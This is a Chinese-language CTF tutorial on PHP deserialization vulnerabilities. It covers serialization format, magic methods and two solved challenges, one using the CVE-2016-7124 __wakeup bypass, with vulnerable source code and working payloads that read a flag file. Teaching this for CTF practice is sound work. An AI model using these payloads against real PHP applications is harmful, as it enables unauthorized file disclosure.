首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CTF竞赛 | PHP反序列化基础

CTF竞赛 | PHP反序列化基础

作者头像
安全小王子
发布于 2021-02-24 06:25:33
发布于 2021-02-24 06:25:33
1.3K00
代码可运行
举报
文章被收录于专栏:betasecbetasec
运行总次数:0
代码可运行

通过序列化与反序列化我们可以很方便的在PHP中传递对象,下面小编给大家介绍反序列化的原理和一些常见的利用方式。

01

序列化和反序列化概述

(1)序列化和反序列化:

  • 序列化:将对象的状态信息转换成可存储或者传输的形式过程;
  • 反序列化:将可存储或者传输的形式过程恢复为对象的过程;
  • 存储形式:二进制、XMLJSON

(2)常见反序列化漏洞:

  • Weblogic: CVE-2018-2893、CVE-2018-2628、CVE-2017-10271
  • Jboss: CVE-2017-12149、CVE-2017-7504
  • Jenkins:CVE-2017-1000353、CVE-2016-0792
  • NODE.JS CVE-2017-5941

(3) 访问控制修饰符

根据访问控制修饰符的不同序列化后的属性长度和属性值会有所不同:

  • public:公有;
  • protected:受保护的,被序列化的时候属性值会变成:%00*%00属性名;
  • private:私有的,属性被序列化的时候属性值会变成:%00类名%00属性名;

序列化示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static  $b = "beta";         
}     

$test = new test;     //建立一个test的对象;
$data = serialize($test);   //将对象进行序列化;
echo $data; 
?>

各个字段的解释如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O#指Object(对象)
4:#代表对象的名称有4个字符,如test包含4个字符;
test:#表示test对象;
2:#表示2个属性值;
s:#表示字符串;
10:#表示属性名长度;
testflag:      #表示属性名;
s:18:"flag(this-is-flag)"     #字符串,属性值长度,属性值;

反序列化示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php      
class test{             
  private $flag = "flag{this-is-flag}";             
  public $a = "snail";             
  static $b = "beta";         
}     
$test = new test;  //建立一个test的对象;    
$data = serialize($test);   //将对象进行序列化;    
$undata = unserialize($data);     
var_dump($undata); 
?>

02

反序列化中常用的魔术函数

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。下面列举了序列化与反序列化过程中常用的几个魔术函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 __construct()       #当一个对象创建时触发    
 __destruct()        #当一个对象被销毁时触发     
 __toString()        #把类当作字符串使用时触发     
 __call()            #在对象上下文中调用不可访问的方法时触发     
 __callStatic()      #在静态上下文中调用不可访问的方法时触发     
 __get()             #用于从不可访问的属性读取数据时     
 __set()             #用于将数据写入不可访问的属性     
 __wakeup()          #使用unserialize时触发 ,unserialize() 会检查是否存在一个 __wakeup() 方法。
 __sleep()           #使用serialize时触发,serialize() 函数会检查类中是否存在一个魔术方法 __sleep()__isset()           #在不可访问的属性上调用isset()或empty()触发     
 __unset()           #在不可访问的属性上使用unset()时触发     
 __invoke()          #当脚本尝试将对象调用为函数时触发     
 __autoload()        #尝试加载未定义的类时触发     
 __clone()           #当对象复制完成时触发

03

小试牛刀

D0g3平台上一道简单的反序列化的题,通过GET请求方式读取str内容,并进行反序列化等于$KEY就可以获取flag内容了。题目代码如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
error_reporting(0); 
include "flag.php"; 
$KEY = "D0g3!!!"; 
$str = $_GET['str']; 
if (unserialize($str) === "$KEY") {         
echo "$flag"; 
} 
show_source(__FILE__);

通过本地生成序列化字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php      
class test{                        
  protected $a = "D0g3!!!";                  
}    
$test = new test;     //建立一个test的对象;
$data = serialize($test);   //将对象进行序列化;
echo $data; 
?>

payload:http://127.0.0.1/web/web1/unserialize.php?str=s:7:"D0g3!!!";

04

菜鸟进阶

如下所示,为本道题的源码,通过 __destruct 方法中 show_source(dirname (__FILE__).'/'.$this ->file); 读取flag.php,构造序列化对象然后base64编码,经过unserialize将file设为flag.php,但是,进行反序列化之前会优先执行__wakeup()函数,将file设置成index.php。所以此处需要绕过__wakeup()函数。此处就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php    
class SoFun{    
  protected $file='index.php';   
  function __destruct(){      
    if(!empty($this->file)) {       
    if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)         
    show_source(dirname (__FILE__).'/'.$this ->file);       
  else         
  die('Wrong filename.');     
  }   
  }     
  function __wakeup(){    
  $this-> file='index.php';   
  }    
  public function __toString() { return '' ; 
  }   
}      
if (!isset($_GET['file'])){    
show_source('index.php'); 
} 
else{    
$file=base64_decode($_GET['file']); 
echo $file;   
echo unserialize($file); }  #<!--key in flag.php-->

通过本地生成序列化字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php      
class SoFun{                        
    protected $file = "flag.php";                 
}    
$test = new SoFun;     //建立一个test的对象;     
$data = serialize($test);   //将对象进行序列化;     
echo $data; 
?>

此处注意两点:

  1. 对象属性个数的值大于真实的属性个数;
  2. s符号要进行大写;

转成base64编码,payload如下所示:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
payload: Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
PHP反序列化笔记
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
Ms08067安全实验室
2020/02/19
1.4K0
PHP反序列化笔记
PHP的反序列化和POP链利用
POP面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
Andromeda
2023/10/21
1.2K0
PHP的反序列化和POP链利用
从CTF中学习PHP反序列化的各种利用方式
为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
Ms08067安全实验室
2022/09/26
3.6K0
PHP反序列化漏洞说明
PHP程序为了保存和转储对象,提供了序列化的方法,序列化是为了在程序运行的过程中对对象进行转储而产生的。
Ms08067安全实验室
2020/01/02
8250
PHP反序列化漏洞
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)
Andromeda
2022/10/27
1.1K0
PHP反序列化漏洞
web安全 -- php反序列化漏洞
序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。
Gh0st1nTheShel
2022/01/24
9140
PHP反序列化漏洞
  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。
LuckySec
2022/11/02
6780
PHP反序列化漏洞
php反序列化漏洞简单总结
​ 这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦。
pankas
2022/08/10
7950
php反序列化漏洞简单总结
经验分享 | PHP-反序列化(超细的)
ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
F12sec
2022/09/29
2.4K0
经验分享 | PHP-反序列化(超细的)
初探序列化与反序列化
在写程序尤其是写网站的时候,经常会构造类,并且有时候会将实例化的类作为变量进行传输。
偏有宸机
2020/11/04
8810
初探序列化与反序列化
反序列化漏洞理论实战详解
反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。
litbaizhang
2021/03/11
3K1
反序列化漏洞理论实战详解
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以
全栈程序员站长
2022/09/14
2.1K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
PHP序列化漏洞原理
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
安全小王子
2020/07/31
1.9K0
PHP序列化漏洞原理
php-unserialize反序列化漏洞
在了解反序列化漏洞之前,先了解一下php中的序列化。 php中的序列化和反序列化都是通过函数来实现的:
kam1
2022/03/08
1.2K0
php-unserialize反序列化漏洞
CVE-2016-7124反序列化漏洞
CDN即内容分发网络,主要是解决访问网站速度,比如说,某个网站的主机是在黑龙江的,现在有人要在广东访问,没有CDN加速的话,肯定是慢的,CDN的作用就是将该网站的静态资源先放在各地的CDN主机上,如果有人需要访问,就会就近原则,访问cdn主机上的静态资源,这样子,访问的速度,就有了大大的提升
vFREE
2021/12/20
1.2K0
CVE-2016-7124反序列化漏洞
详解php反序列化
“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”
用户8824291
2021/07/13
8580
PHP反序列化ctf题解
我们对代码进行分析之前,首先需要了解一些序列化的知识。首相序列化本身的目的是将数据经过处理,以json的形式传输。
网e渗透安全部
2024/12/10
1690
PHP反序列化ctf题解
CTFshow之web入门反序列化
PHP反序列化实际上已经开始是Web安全的进阶操作了,虽然在这个时代Web选手上分极其困难,PHP反序列化已经成为了基础…..
十二惊惶
2024/02/28
4130
DASCTF-Esunserialize(反序列化字符逃逸)
做这个题的时候我也第一次接触字符逃逸。似乎明白了怎么利用。顺便通过这个题了解反序列化的字符逃逸。
Gamma实验室
2020/12/23
1.2K0
DASCTF-Esunserialize(反序列化字符逃逸)
CTF笔记-1-PHP序列化与反序列化(__sleep与__wakeup)
__sleep 与 __wakeup 序列化: 将一个对象转化成字符串 反序列化:将一个字符串转换成对象
Baige
2022/03/22
1.4K0
CTF笔记-1-PHP序列化与反序列化(__sleep与__wakeup)
相关推荐
PHP反序列化笔记
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档